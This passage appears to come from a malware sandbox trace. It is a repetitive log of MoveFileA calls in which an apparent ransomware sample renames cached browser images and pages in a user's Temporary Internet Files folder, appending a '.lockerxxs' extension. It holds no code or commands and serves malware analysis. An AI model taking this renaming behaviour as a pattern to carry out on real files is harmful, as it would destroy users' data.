(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png.lockerxxs")) returned 1 [0082.134] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png.lockerxxs")) returned 1 [0082.138] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png.lockerxxs")) returned 1 [0082.142] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png.lockerxxs")) returned 1 [0082.145] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png.lockerxxs")) returned 1 [0082.149] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\async_usersync[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\async_usersync[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\async_usersync[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\async_usersync[1].htm.lockerxxs")) returned 1 [0082.153] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.lockerxxs")) returned 1 [0082.155] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png.lockerxxs")) returned 1 [0082.158] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg.lockerxxs")) returned 1 [0082.160] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png.lockerxxs")) returned 1 [0082.163] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg.lockerxxs")) returned 1 [0082.170] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg.lockerxxs")) returned 1 [0082.174] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg.lockerxxs")) returned 1 [0082.177] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg.lockerxxs")) returned 1 [0082.180] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg.lockerxxs")) returned 1 [0082.184] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg.lockerxxs")) returned 1 [0082.188] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg.lockerxxs")) returned 1 [0082.191] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg.lockerxxs")) returned 1 [0082.194] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg.lockerxxs")) returned 1 [0082.197] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg.lockerxxs")) returned 1 [0082.205] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png.lockerxxs")) returned 1 [0082.209] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg.lockerxxs")) returned 1 [0082.212] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg.lockerxxs")) returned 1 [0082.216] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg.lockerxxs")) returned 1 [0082.219] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg.lockerxxs")) returned 1 [0082.222] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg.lockerxxs")) returned 1 [0082.226] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg.lockerxxs")) returned 1 [0082.229] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg.lockerxxs")) returned 1 [0082.234] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg.lockerxxs")) returned 1 [0082.238] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg.lockerxxs")) returned 1 [0082.241] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg.lockerxxs")) returned 1 [0082.243] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg.lockerxxs")) returned 1 [0082.246] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg.lockerxxs")) returned 1 [0082.249] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg.lockerxxs")) returned 1 [0082.252] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg.lockerxxs")) returned 1 [0082.255] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js 